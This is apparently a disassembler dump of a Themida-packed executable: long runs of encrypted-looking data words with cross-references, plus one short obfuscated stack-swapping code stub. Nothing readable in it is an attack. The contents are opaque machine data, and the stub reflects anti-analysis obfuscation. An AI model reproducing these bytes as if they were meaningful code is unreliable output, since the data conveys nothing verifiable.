		dd 4B140011h, 2D84F866h, 0CB62C8C2h, 0E6314E17h, 0D709372Eh
		dd 4430446Dh, 10CA006Dh, 0A6607243h, 13649A50h,	2DC3C6E2h
		dd 0C9h, 2D62144Bh, 81CE88C0h, 3A671934h, 0B2DF91CBh, 550F43h
		dd 91C1442Ch, 263B8AD7h, 90C6376Ch, 0F44B1DEh, 4D9C0055h
		dd 0DE0B8FA2h, 8028C61Dh, 0B6AB065Ch, 0DC29D5FCh, 18C6CD87h
		dd 0B5A6174Ch, 0A655A6FBh, 0C8453659h, 2E6F1F17h, 4D075C7Ch
		dd 0A8489976h, 0A7190FDDh, 4B80CD06h, 7521DBF0h, 217ECD20h
		dd 0C90AC3D6h, 792B2317h, 0D6C6AC5Ah, 0F3E8D58Ah, 0DC884298h
		dd 2E086AB5h, 0BB3047FAh, 0A6607322h, 5E0D0AF9h, 0C5CB2747h
		dd 0B506A85Ch, 481C55B0h, 0D071170Dh, 1D3E072Eh, 0DAF9B3A8h
		dd 73DA8E89h, 0D4461A3h, 0B96B6164h, 0BB766D1Ah, 721FD90Ah
		dd 0F7965083h, 0C61h, 0C5858200h, 0BB259282h, 0EBC2A8C9h
		dd 51035CBFh, 36F0E332h, 62144A97h, 1BB0E5Bh, 651F3382h
		dd 1BB0F5Eh, 67193382h,	12C41968h, 702A1E6Bh, 89579451h
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 4895C24h, 0E6895624h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 83243489h,	348904ECh, 0C85BE24h
		dd 0CE817E70h, 4B5254FEh, 0CE81D6F7h, 2B613C44h, 0CB6EE81h
		dd 0F089A5D8h, 348B545Eh, 4C48124h, 50000000h, 4A240481h
		db 9, 0FDh
word_5A7CDA	dw 8F7Eh		; DATA XREF: Themida_:0054C1BCo
		dd 0BB530846h, 7EFD094Ah, 5B085E29h, 5624348Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815824h,	4, 0FB824BE9h
		dd 11729DFFh, 54E1DD72h, 0C7FFB895h, 0C5030615h, 4B12E0FFh
		dd 0B49B4CF9h, 42685B33h, 8EFF10E8h, 2EF8127Dh,	0EACB405Ah
		dd 0D66C28FFh, 3FE7883h, 1F6C09D9h, 3EC30298h, 0DF7D13EFh
		dd 0B3232876h, 20E275BEh, 0C35C1366h, 0C4096F4Fh, 8D8D4E86h
		dd 615C9B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0D0C35747h, 22550960h, 9F58D89h, 95290610h, 6102961h
		dd 231985C7h, 67640610h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0F61DABC3h, 6D59FB0Eh
		dd 1FD812Bh, 100CB1BDh,	6D9D8B06h, 0C7061021h, 1022C185h
		dd 6, 298D8900h, 0FF06101Dh, 1004E9B5h,	52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0DB60B255h, 0BE9h, 53419000h, 0E58D8735h, 0C6D6F655h
		dd 2DB995FFh, 6E90610h,	0AC000000h, 94EC37E7h, 0FF006AE9h
		dd 1031C995h
dword_5A7E24	dd 0EBC08B06h, 0EC037318h, 9DA96A20h, 0D05DB4Dh, 1788873Ah
					; DATA XREF: Themida_:0054D194o
		dd 0C789C0D3h, 0DDCE1A36h, 7A8D8D65h, 600615CAh, 61D1BF0Fh
		dd 9F58D89h, 0C7FC0610h, 10231985h, 5A0406h, 0C185C700h
		dd 61022h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0E9E6C355h, 81C85DDAh,	0B85264D3h
		dd 0D5B5FF57h, 6A06102Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 43BC355h, 33659589h
		dd 95FF0610h, 6102DB9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 89C35141h, 669825F8h,	6AD78Bh, 31C995FFh
		dd 0C08B0610h, 0E6F51CEBh, 0B1F8051Ch, 0C806E0BEh, 0C5254FC7h
		dd 14A87921h, 0DAED976Bh, 7006D8D9h, 8D8DF405h,	615CB00h
		dd 13F19589h, 8D890610h, 61009F5h, 68D0F52h, 89000000h
		dd 102065B5h, 0B5335E06h, 6100869h, 231985C7h, 71240610h
		dd 85290000h, 61014E5h,	22C185C7h, 610h, 85010000h, 6102F35h
		dd 11EDB5FFh, 95890610h, 6100511h, 2DB995FFh, 958B0610h
		dd 6101469h, 95FF006Ah,	61031C9h, 68EBC08Bh, 91B9001Dh
		dd 41D5A739h, 0EED12D5Eh, 4C24B435h, 51044C8Dh,	4CC29FB5h
		dd 69D8C273h, 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh, 9EB0C849h
		dd 765F78E5h, 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h
		dd 8763A9E8h, 83F4191Bh, 0F4346E2Ch, 0EB9976BCh, 36E16F68h
		dd 70BC2E8Ch, 1C0242BBh, 9AF8C881h, 0F008036Fh,	7A39BAF9h
		dd 14E9h, 4854AF00h, 12h, 3 dup(0)
		dd 565E900h, 7A70000h, 0DB9108C4h, 0FCB128A4h, 0DB9007C3h
		dd 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh, 0F8B4F598h, 1692CD81h
		dd 0F7B3E89Fh, 0C1812814h, 256BD9B7h, 7932FCC8h, 3C441F3Bh
		dd 4E00F7Ch, 98D77910h,	0CD7F3A24h, 4902B98Eh, 0C2696014h
		dd 4A02998Dh, 243C330Ah, 0B59170CBh, 0E924CAC1h, 0AFE69E3Dh
		dd 5EF586C3h, 69089772h, 10EA1FC8h, 0B873A649h,	6DCCD00Ah
		dd 75526EEAh, 59943AC1h, 0DAB056E5h, 516F232h, 16C25245h
		dd 6EA463Ah, 89CA7B1Ah,	0D9780B9Dh, 0C377B258h,	8DF9F4D9h
		dd 26D53666h, 0ACE18A51h, 9914B1F8h, 9C1B6DCCh,	510DE005h
		dd 82ED336Ah, 5F000000h, 50447932h, 0B90900DEh,	5D6DCC7Ch
		dd 813FEC01h, 9A6DCC7Ch, 0D1C8BCF1h, 9930E41Bh,	6BC7BBF4h
		dd 6C50EFD0h, 8347DEDDh, 7C14AE5Dh, 84296DCCh, 23DB574Bh
		dd 0A46D3247h, 84336B35h, 0Eh, 1DA5647Ah, 0F9923388h, 0D3EF2EE2h
		dd 7A322EF6h, 90384F43h, 0D07D8B50h, 4A26773Ah,	4F8C3F56h
		dd 18B708A3h, 223C7319h, 0CAB6F597h, 4ECD9166h,	0F31EC595h
		dd 0CCCE8A38h, 0D2EE6A6Dh, 0AA1E421Eh, 3F7E321Ch, 0EA58532Dh
		dd 0A6DCC7Ch, 0B7F4970Eh, 3FE5E4A2h, 0D93F1C08h, 9032D907h
		dd 746DCC7Ch, 7CB111F8h, 0D9556DCCh, 46801F04h,	0B794CF73h
		dd 550948FCh, 8748826Bh, 0C60D9617h, 4C812AB1h,	538C4158h
		dd 517AF69Fh, 0E08585D2h, 0D4678459h, 9005B83Dh, 77E5336Ah
		dd 27000000h, 533F7E32h, 7A548D34h, 0D9CD0EBFh,	0EB7E805Dh
		dd 0EC21CA91h, 8C952C0Fh, 962599D8h, 74CEBDF2h,	906DCC7Ch
		dd 0C5C4B094h, 500BE522h, 0E51EC39Bh, 3C113531h, 0CB6A194Ah
		dd 6B33F32Eh, 54D333h, 6EED0000h, 0AC887CB9h, 7E32F5CFh
		dd 0A1C5FCA4h, 0C8527BF5h, 0D85697F6h, 0C46AF106h, 0C4767789h
		dd 11809B59h, 981313E8h, 1552F5C4h, 53E80561h, 94D375BCh
		dd 7A329218h, 0BF084F43h, 806DCC7Ch, 6C45A03Fh,	4C336B35h
		dd 0Ah,	2C327972h, 5F54FD25h, 7B32C28Ah, 90374E42h, 433DA75Bh
		dd 3144220Ah, 0E7F89D67h, 51566CD0h, 3211E60Ah,	99DB9293h
		dd 918DE9CAh, 3BEFD392h, 0F20CCFE6h, 0FC0BD237h, 0BD6C9267h
		dd 943C7F05h, 0B42EAE1h, 22371B17h, 79100460h, 9A219DD2h
		dd 0A1C8BCF1h, 943C7F23h, 0E6E07F20h, 7FB111F8h, 0D955943Ch
		dd 7FBE0407h, 0DA56943Ch, 588D36FDh, 0D60DB386h, 0AD31462Ah
		dd 5440752Eh, 6FAC5FDAh, 2D712B8h, 0DC29239h, 0F1DAF4D0h
		dd 0DD294336h, 0B472876Ah, 42DC4D7h, 0E7B2265Bh, 397A6826h
		dd 14606h, 4D3F800h, 0D11E5366h, 0B6F99D3Dh, 0A1C5B1A3h
		dd 96D700CCh, 78B52D4h,	0DD805DE1h, 40EB05D6h, 67FC0F0Bh
		dd 0F4937FDBh, 79CB0D4Bh, 8000DC94h, 0FA618A64h, 9DD45DCFh
		dd 6CEB7388h, 340E3B3h,	1D2F130Fh, 0F8ACE99Eh, 5F12EE1h
		dd 76284521h, 8E7DA85Fh, 9423AB34h, 0D916B9D0h,	702DD9FDh
		dd 0B66DB44Bh, 68F3CD81h, 0AC7388C1h, 397B5F61h, 2C610AD1h
		dd 52994Fh, 5CF30000h, 49401AC1h, 0EDCC7CD9h, 267521FDh
		dd 0EDCC7C9Ch, 6CE38241h, 0FF3CEF51h, 37540613h, 0BFC2A90Bh
		dd 0FEADBFA3h, 6DCC8064h, 0A1CAA480h
		db 7Ah,	5Fh, 0F0h
byte_5A8363	db 39h			; DATA XREF: Themida_:0054DDE4o
		dd 6DCCD489h, 85CCF16Dh, 63EEDB00h, 0F8CFC97h, 5943FBD0h
		dd 0F429E2h, 7C9A4724h,	0F2000000h, 4C1EBD5Ch, 0FC0C3C5Dh
		dd 0A24ECA67h, 93477C23h, 3E7F32A9h, 0C4F9B229h, 846D5ED0h
		dd 82CDCF61h, 7AC5BE9Bh, 0F19423DEh, 5E934C0Fh,	0A99AEB2h
		dd 0EC21CA6Bh, 0D7041370h, 0E50E0605h, 15A49E19h, 0E4403473h
		dd 6B171307h, 927EB36Ch, 0F8D27100h, 0EAA51D3h,	6BEADD7Ah
		dd 0FD607DB6h, 500BE5F6h, 0A6B35F9Ah, 4C4BBF14h, 1B3014DAh
		dd 0D4E4645h, 0F86942Fh, 0D691D5Eh, 5CD775E9h, 0BDD83BDh
		dd 4C381C57h, 0CF20CE8h, 8B60974Dh, 0F64790A0h,	40343067h
		dd 7AB96BEEh, 6CDAA86h,	25B4285Dh, 0E5D497Eh, 0E85BB696h
		dd 0F9DD744Bh, 1CED4ED4h, 407CD56Dh, 8353188h, 0A2B74BA9h
		dd 813D7219h, 0B281AE9Fh, 0C5B09BDAh, 0A4742BA8h, 7195C2FFh
		dd 0E4C1EAC7h, 16A5B79Bh, 0B0E79D6Dh, 0D0C7B794h, 4D0CDE1Bh
		dd 0B1B56196h, 49F8EA9Ch, 9FD48BAAh, 0BEF3AC2Bh, 2EC1D2h
		dd 0D73B0000h, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh,	0CD9F6DCCh
		dd 0CC7C64DEh, 0C0A4806Dh, 98235DABh, 2F641BF3h, 0D6035F13h
		dd 3ACEBE85h, 774D2AB0h, 493D8032h, 0B0649952h,	463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h, 8D968CFh,	3C890000h, 15226824h, 3C890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 56240489h
		dd 4F8BB850h, 0E8C14322h, 46F12D05h, 0C689FC03h, 5EF78958h
		dd 4EC81h, 24890000h, 24048324h, 0B9515804h, 8,	0BA52C101h
		dd 0
		dd 3A89CA01h, 48B595Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 77h
		dd 0D065F126h, 0B8CFEA01h, 615D066h, 0E0FFC503h, 28928976h
		dd 1DD14C97h, 6110D04Eh, 134C82E1h, 217D5B67h, 7DFDEBE5h
		dd 2F302FE7h, 21E51896h, 31A665Dh, 7541C2Ch, 6C247D40h
		dd 0FC61FE6h, 93A9AB1h,	2B1F05Ch, 5342BE6h, 42713E15h
		dd 0BF398C0h, 3C3EC2BBh, 33C78F2h, 2A68B17Eh, 120537C4h
		dd 4BE9h, 8FA74B00h, 72h, 0C51C5700h, 6148434Ah, 0A5ADF936h
		dd 528C88A7h, 0B7FB75h,	0ADF99CBEh, 89937EE5h, 0F4C7009Dh
		dd 6063921Dh, 0DE19h, 7	dup(0)
		dd 0C1CE9h, 0D2E96800h,	0C1E90615h, 68FFFAAEh, 615D437h
		dd 0FAAEB7E9h, 0D54768FFh, 0ADE90615h, 68FFFAAEh, 615D650h
		dd 0FAAEA3E9h, 0D72A68FFh, 99E90615h, 68FFFAAEh, 615D80Ch
		dd 0FAAE8FE9h, 0D8EA68FFh, 85E90615h, 68FFFAAEh, 615DB19h
		dd 0FAAE7BE9h, 0DC2868FFh, 71E90615h, 36FFFAAEh, 5EDD5194h
		dd 3CBB6FA6h, 9904C85h,	26B52966h, 0A1874382h, 1655F765h
		dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h,	6BD9AD3Ah
		dd 5C37FDDAh, 5D4C1EBDh, 67F64D6Ah, 71A65D74h, 0DCCFA185h
		dd 94265366h, 0ACBEA27Eh, 6148792Dh, 942653E1h,	594D2905h
		dd 6CA95EDDh, 0B99FBCB8h, 98144902h, 0E2C6A21h,	0DB10B7DDh
		dd 9E1E4B27h, 0EEA2BE34h, 17E9F201h, 1C3A0414h,	42517A9Eh
		dd 77961576h, 9E6DD5D4h, 0AD899E18h, 4EF4B7C9h,	0A69E189Eh
		dd 71EDADCAh, 614C815Fh, 7EB36CBEh, 0BED3A259h,	447932A9h
		dd 8123B688h, 0F5D24E42h, 0A450853Eh, 1D5E0FCAh, 8DF00D69h
		dd 8A815F86h, 9E189938h, 299980DCh, 0CD9E1899h,	0B05B7551h
		dd 9428E09Fh, 976E0267h, 0EA9F76EDh, 17B56FDh, 0F2CEF492h
		dd 2C4C1745h, 1C8D995Eh, 0A23h,	0F266A949h, 0D286BD63h
		dd 0E9659E43h, 0CC80BD72h, 0E05C9B4Dh, 0B86C9EEAh, 9336C579h
		dd 0AB5FD652h, 863DBC70h, 0EF2DD51h, 0D9AEA71Bh, 0DA623F6Bh
		dd 0C73B7932h, 5EE4A744h, 0B66DCCB4h, 99718DBAh, 3EFDCFF3h
		dd 8B7B5085h, 4C1E530Ch, 0F29ED98Dh, 0FBE5596Eh, 61B2F2D2h
		dd 5126083Ah, 0A4B625B4h, 0FC51C4E5h, 984B4267h, 0DC8B775Bh
		dd 943C5662h, 9653F281h, 397B003Bh, 3E7B30ABh, 57F9CE52h
		dd 40h,	6004D7B5h, 7CC2802Bh, 46226DCCh, 0DDFA762Ah, 4B597980h
		dd 0FF180C0Bh, 5356284Ch, 67FC647Eh, 144B0198h,	34E00460h
		dd 93C87F3Ah, 6471CDB6h, 0DF94943Ch, 1E4CA540h,	0CE2C397Bh
		dd 9E000000h, 0D0AA96D7h, 146348B1h, 8EC37C37h,	6741E3E2h
		dd 999D89C2h, 0E477C9BDh, 161A063Bh, 0C2AEED9Fh, 19D2895Eh
		dd 0F29930E4h, 0F14A01BDh, 4E6DCCA4h, 6DEC6095h, 83DE6B6h
		dd 483C181Ch, 6D7F5C7Bh, 4BE6D93h, 0E06DCCDCh, 0A7BC6784h
		dd 3F67FCAAh, 0FB1A67E3h, 0B61B0EE0h, 2E9E0A25h, 0CDB9FAABh
		dd 928E9469h, 104F01B8h, 0D969203Eh, 3D9E11A5h,	0C3520CE1h
		dd 69A24721h, 4902B9BDh, 5F8B3014h, 0D1403591h,	8D5D4C5h
		dd 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h, 3DEF66E2h
		dd 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h, 2397CC73h
		dd 0ED555428h, 96BD9A8h, 7E3220ACh, 58532D3Fh, 6DCC7CEAh
		dd 85390E0Ah, 0A4184DF6h, 1EBD5C06h, 1F4C324Ch,	132DE226h
		dd 1CA655E7h, 316DCC83h, 0D24E427Dh, 0E2873E1Ah, 0FAD7D4A9h
		dd 0FA67FC83h, 0B2598C3Fh, 943C8210h, 7F5C78F4h, 0A4F39F7Bh
		dd 943C821Ah, 0CE2BCAF9h, 397A3803h, 0CBE3h, 79322900h
		dd 0CBD1FE3Bh, 0EEF0DD16h, 84567A9Fh, 0F7D413B5h, 604B3507h
		dd 6DCC9FE2h, 0C9793002h, 2D6DCC9Fh, 7B381531h,	24C081C9h
		dd 630F5001h, 0A601DAFFh, 7B65775Bh, 0CCBB3290h, 8156D26Dh
		dd 0C765D685h, 11BA6DCCh, 32D960DCh, 7E72AB62h,	762A6107h
		dd 6FAD6FAh, 0AFC11AB9h, 0FCC9E7FCh, 0A723FF67h, 275E06D5h
		dd 83E2F77Bh, 96956774h, 9E0A052Ch, 0C7926CC8h,	0E372E625h
		dd 0F3550241h, 9D4035B7h, 7C52089h, 3BEB0000h, 0FB544F8h
		dd 30D564D8h, 0FB443F7h, 2DDF56D2h, 304C3AEEh, 5BCF0EC2h
		dd 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h, 0D96BD9A9h
		dd 7E3250DCh, 530C8B3Fh, 811F4C1Eh, 23D8D6C3h, 5DEB7388h
		dd 50447932h, 835D9239h, 7C14AE5Dh, 74F06DCCh, 9E28DF57h
		dd 0D96DCC7Ch, 4200AB3Ah, 0A26DCC7Ch, 0AED0AAC6h, 0CC7C47FBh
		dd 0A6C39F6Dh, 0D7D2ACD2h, 6DCC7C6Bh, 0D1BA8F8Bh, 67F64DC8h
		dd 0BB0702DCh, 5B942652h, 65A448FFh, 0C4969288h, 0F4BCD187h
		dd 0D425124Fh, 2B9792D4h, 0CB94266Ah, 1946734Fh, 94DF4208h
		dd 0CD8C7489h, 0DE0FE116h, 0C7369E1Dh, 0C4C7997Bh, 9426B37Eh
		dd 0F9BD9A96h, 0CD823927h, 9980E490h, 9426B329h, 0D213B6CDh
		dd 559637EEh, 3404BB78h, 566538Eh, 0EF0E4EEDh, 8658724Eh
		dd 266B3F83h, 3D52D794h, 38CF1E7Dh, 0E698B591h,	0FE1FA19h
		dd 16535F1Ch, 0DE8BE79Eh, 4032056Ch, 0BC617222h, 0E2000006h
		dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
		dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
		dd 6BD9AADEh, 32F3B936h, 0E7413B79h, 36CB261Eh,	0B490CB7Fh
		dd 54F5C49Ah, 14035F13h, 6DCC68AEh, 110DEA46h, 0AAE79C1Fh
		dd 285D06CDh, 0E57C1F7Ch, 7BB25AE1h, 22571087h,	0A6E5873Eh
		dd 0DA6176FAh, 7D40FC31h, 336B2234h, 714h, 76407600h, 8C000001h
		dd 0CC7C4402h, 0E7F4036Dh, 4D0E1615h, 0B58467F6h, 9B27E20Fh
		dd 7B942653h, 53CFC39Fh, 0D6A88476h, 0B3275C03h, 5A467B24h
		dd 77B859E0h, 4CF40362h, 9D8C5E93h, 94265325h, 6F8165C1h
		dd 11965C91h, 0AF47B5C1h, 83A8F19Ah, 675E9E16h,	989C88C3h
		dd 34350FBCh, 2BFB4032h, 5E2BAh, 23660800h, 417830A7h
		dd 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h, 11884483h
		dd 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0AB68DAD1h, 0F8C6BD9h
		dd 44793285h, 54923950h, 0D4CA438Dh, 2F9396D7h,	0C76DCC2Eh
		dd 0B76B876Bh, 322C1E2h, 8655275Ch, 72EEA2E3h, 0D31EE155h
		dd 43336AE3h, 92D5330Ah, 72EEA2DBh, 15F45345h, 79038h
		dd 40FA0000h, 0A5h, 1EBD5C8Ch, 83D41F4Ch, 301D52F9h, 9EBB5EADh
		dd 85FCCFBAh, 2A0667F6h, 0F7AB2E50h, 6B149FBCh,	4F3A2436h
		dd 94268AF3h, 0A75B964Ch, 8257D3CBh, 51863DBCh,	12C950A5h
		dd 0BB5B5138h, 0EF6B9E1Ch, 6EA75EDDh, 0BB48759h, 2CD362D6h
		dd 1FB60BF7h, 0A2BCA2BCh, 19595BE7h, 8A5FBB9Eh,	2920ACA1h
		dd 79DE3A94h, 5E2D53F5h, 0DACBDBh, 26000005h, 0E8D4184h
		dd 2CAB1F56h, 0F9803C75h, 16A51956h, 91773372h,	26650775h
		dd 418223B2h, 1D580E8Dh, 3C711AA1h, 0F8B38D80h,	6BD9A44Ah
		dd 40672DAAh, 15Eh, 1EBD5C8Ch, 5D4C324Ch, 6DCC7CE5h, 5B482501h
		dd 67F64D68h, 10E48950h, 4D391D5Ch, 538A38F3h, 0EE6A9426h
		dd 8E05F5D2h, 0B7B09DD8h, 0DBC59C88h, 16A5B79Bh, 3D23386Dh
		dd 1C90C57Eh, 0C5B1E69Dh, 0B057E9F0h, 0CD04BC7Bh, 1496D7A9h
		dd 0B8964B39h, 79B257CEh, 0ACD4A98Dh, 870899D2h, 0FC15644Bh
		dd 253424DFh, 50CC9E1Ch, 0CF04BB7Eh, 0EE23DC5Bh, 1A26AD02h
		dd 401A3677h, 46FCD879h, 371B170Bh, 99203E22h, 7CC6C5F4h
		dd 989E18EBh, 693B89Ch,	59405531h, 6B5C4724h, 739428CCh
		dd 88C652F7h, 0FCA85E2Ch, 422EBh, 63A64800h, 81B870E7h
		dd 5E974ECDh, 7BB86BEAh, 559438BFh, 6597F3D9h, 51C884C3h
		dd 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh, 0A4A81A11h, 4F4C6BD9h
		dd 447932C5h, 0C0FBAF2Ah, 8B7B50D4h, 0E083530Ch, 76D3BFA3h
		dd 40E74EE5h, 597DBC70h, 35D71AE5h, 5FB7336Bh, 0C9000000h
		dd 884EF4B7h, 85849233h, 9233883Dh, 0C9A55DD9h,	0BD5C18B4h
		dd 645D4C1Eh, 6067FCCAh, 0CE378B7Eh, 4ACF9423h,	39051B56h
		dd 32472BB3h, 5FDAF470h, 0EBD71AAh, 94237FB1h, 5A0DDD86h
		dd 3927391Dh, 7FDE6427h, 3A369423h, 237FF74Bh, 94130F94h
		dd 229CB1F0h, 0C1B5EE93h, 36ED8h
		dd 7C322400h, 5DB5541h,	0CC7CBC06h, 0FFDC586Dh,	0E2568B34h
		dd 1CE0D3F8h, 0B0EFB07Fh, 3267209Bh, 0D0A0473Eh, 0ECFEE217h
		dd 6C81B66Dh, 55868DF2h, 0CF0AC07Bh, 562A3F23h,	0FC1A7653h
		dd 0E0949067h, 238A0DB9h, 3CD3F094h, 7B33F8B9h,	7DD839h
		dd 0D7320000h, 56FDFD96h, 54F76CD2h, 0EB076B17h, 73686F0Eh
		dd 0BC81B259h, 6A6367FCh, 3AEB0D6Ch, 0DB35226Bh, 11C384F0h
		dd 0C7BEC499h, 363AE625h, 180B401Ah, 938C4773h,	13044DD3h
		dd 0E546426h, 3C1AA71Bh, 0FFE33F94h, 77423CEAh,	85E195D6h
		dd 1A03BB68h, 6B14943Ch, 1AF94940h, 411D943Ch, 0B25A7125h
		dd 8B34877Bh, 7194BFF4h, 587010CBh, 59F88B7Ch, 7A45519Ch
		dd 10B3139h, 0D79B0000h, 7C4002A9h, 0C8A46DCCh,	4A7F28B3h
		dd 0CD02A930h, 35D7EEB0h, 0D48B0AF6h, 7C4002A9h, 0C8A46DCCh
		dd 6307D2ACh, 7CCB7732h, 2F2B6DCCh, 0E6035F13h,	0B5EAA138h
		dd 0F952F9h, 9D466DCCh,	27DB1CCDh, 24B3274Bh, 0D24C3D7Bh
		dd 38A42807h, 7C9B681Ch, 7A738D5Fh, 0B9DA8179h,	7DB6A36Fh
		dd 9FAAD663h, 25E69DBAh, 0E19803C5h, 5D7CC985h,	826ED975h
		dd 5F4AA528h, 942379E3h, 274B2703h, 0C2802B55h,	22942379h
		dd 5C4F3146h, 9E15B16Eh, 0FEE0FA76h, 319929E0h,	0A17D9E10h
		dd 1E5D0FCCh, 3A792BAAh, 3405958Dh, 1A8B9B40h, 1F3h, 82367919h
		dd 0A2164DF3h, 79356E13h, 9C104D02h, 0B02C6B1Dh, 681C4EBAh
		dd 8326B529h, 5B0F8642h, 762DAC20h, 9EA28D41h, 0D9A757EBh
		dd 6A32AF6Bh, 239F96D7h, 15E747B8h, 8AC97B38h, 6BA047CEh
		dd 39EC6F91h, 81280CF8h, 6DCC7EC1h, 0AA344925h,	1E6809D0h
		dd 4368C1Dh, 6B80646Ah,	1EBD5CE1h, 7C745D4Ch, 0E97067FCh
		dd 2FF30847h, 58341933h, 80BF7109h, 9AAB9094h, 0F9A5C285h
		dd 3C6C14B2h, 25BCF794h, 7B25EDC0h, 0CDCD39h, 323F0000h
		dd 39504479h, 0FDAC5897h, 6DCC004Ch, 0A012CD3h,	923380B8h
		dd 68E4005Ch, 11053AF1h, 0B4C615A4h, 3F334F5h, 0E256D298h
		dd 2352D3F8h, 26303A01h, 0B625B451h, 15A4BAA4h,	0E84C386Fh
		dd 23258141h, 0ACE99E94h, 0A86378F4h, 9E15E873h, 0EBC76AF1h
		dd 0E12FE35h, 9651532h,	0E6C064F7h, 181C083Dh, 0AD9E803Ch
		dd 0EF93DA3Ah, 7764C0B4h, 0D3A8DDB8h, 0B8256408h, 403461D4h
		dd 0E439AA7Ah, 0A000000h, 32A92568h, 1087437Ah,	2DAC2059h
		dd 0FA813D7Ah, 0A5A31756h, 3A792B59h, 1556F77Eh, 316C2299h
		dd 1045FE7Dh, 0DCCFB19Ch, 6BD9A066h, 329B217Eh,	0AE2D3F7Eh
		dd 35A9BEF7h, 0B6C8FDA6h, 50447F23h, 1BF83CCBh,	0E4C87Ch
		dd 32D573EBh, 39504479h, 84E15D92h, 0AE745D75h,	7A5F984Dh
		dd 1C38FD30h, 2A94742h,	194767F6h, 2FE4447h, 1A169426h
		dd 2602D76Bh, 16332F94h, 7D1C0864h, 431D91C6h, 0B499D078h
		dd 324A390Dh, 864D2A5Dh, 0ADFCA8DDh, 998229Dh, 9F861D86h
		dd 80F7B3E8h, 1B892C7h,	685F134Ch, 91668ABFh, 1451F695h
		dd 0C1787660h, 4125D10Eh, 39F8972Ch, 5AE15D92h,	1F887CB1h
		dd 1Fh,	0C5F29A21h, 9C217CC6h, 0B89C98E8h, 0B99368CCh
		dd 7C3F215Fh, 21A188C9h, 0C56DCC7Ch, 32B89469h,	52493D80h
		dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h
		dd 39504481h, 30A75B94h, 0CF554178h, 504668h, 243C8900h
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0DD682434h
		dd 89000056h, 6EBE243Ch, 5519504Eh, 924501BDh, 76CD811Ch
		dd 0C179B631h, 0ED8102E5h, 27E16671h, 315CED81h, 0F58114A8h
		dd 5695BD81h, 545DEE01h, 81243C8Bh, 4C4h, 4EC8300h, 8F243489h
		dd 3C8B0847h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 5E2434FFh, 0E904C483h, 0FFFAA2B8h, 3F25E4Ch,	0F5B72F9Dh
		dd 0DD31B88Dh, 0C5030615h, 9771E0FFh, 2EC22D1Ch, 615E7A99h
		dd 7BE80188h, 0CA3B521Ch, 5F552C34h, 0F4EC12AAh, 0CFB271ACh
		dd 0BEB1030Ah, 0DC704E22h, 8F063B6Fh, 53D8000Ch, 6CAD7D13h
		dd 0EDCD7315h, 9C1C0333h, 171A0917h, 0B4C0F5Ah,	0B62B5AFDh
		dd 0BC665214h, 1FB45DC5h, 4A9F1FC3h, 7DCB7556h,	0AF154115h
		dd 4B130DA5h, 29001A9h,	0DE41D0Ah, 7625307h, 0E7F8644Eh
		dd 16E92838h, 7F000000h, 9C406A99h, 77E733h, 3 dup(0)
		dd 0D4BE900h, 0E8680000h, 0E90615DFh, 0FFFAA20Ch, 15E0D368h
		dd 0A202E906h, 2768FFFAh, 0E90615E2h, 0FFFAA1F8h, 15E37F68h
		dd 0A1EEE906h, 568FFFAh, 0E90615E5h, 0FFFAA1E4h, 15E79768h
		dd 0A1DAE906h, 0E68FFFAh, 0E90615E9h, 0FFFAA1D0h, 15EA3668h
		dd 0A1C6E906h, 0DB8BFFFAh, 0EF952498h, 0D07504B8h, 0EF942397h
		dd 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch, 0F266A145h
		dd 0D387BC63h, 9D25E4D8h, 796BD9A2h, 7932B07Ch,	92395044h
		dd 7584E15Dh, 0B4959466h, 5267FC11h, 969929E0h,	0A17D9423h
		dd 0DC5FD1C5h, 1E02EE23h, 96E46249h, 6C079423h,	3FBD10D5h
		dd 359D397Bh, 0EF000000h, 4C1EBD5Ch, 0FC7C745Dh, 0E9A09267h
		dd 943C7C59h, 2C06BBDh,	0E2943C7Ch, 9A866A86h, 3C7C73CBh
		dd 42E19294h, 7B3666A7h, 0F34639h, 81380000h, 0EFB592CDh
		dd 2A447932h, 0A0BDFEAFh, 6B45E7DEh, 0A7627CB7h, 6DCC7C1Bh
		dd 4F431FFBh, 0A65A8F38h, 2943782Fh, 83EE5457h,	25E49233h
		dd 9233839Dh, 8E05FD79h, 6EF29ED7h, 0AC17552h, 9233FF6Dh
